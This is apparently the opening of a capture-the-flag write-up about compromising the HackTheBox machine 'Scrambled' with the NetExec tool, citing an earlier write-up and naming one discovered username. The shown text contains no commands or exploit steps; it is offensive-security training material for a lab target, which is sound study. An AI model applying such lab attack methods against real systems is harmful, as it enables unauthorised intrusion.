Scrambled vs NetExec

Let pwn the box Scrambled from HackTheBox using only NetExec ! For context, I was reading Scrambled writeup from 0xdf_ when I read this:

smbclient won’t work, and I wasn’t able to get crackmapexec to work either.

To be fair, at the time of his writeup it was true, but not anymore and it's pretty simple with NXC, 5 minutes and you get root :)

Note: I will pass the web part where we get one username : ksimpson
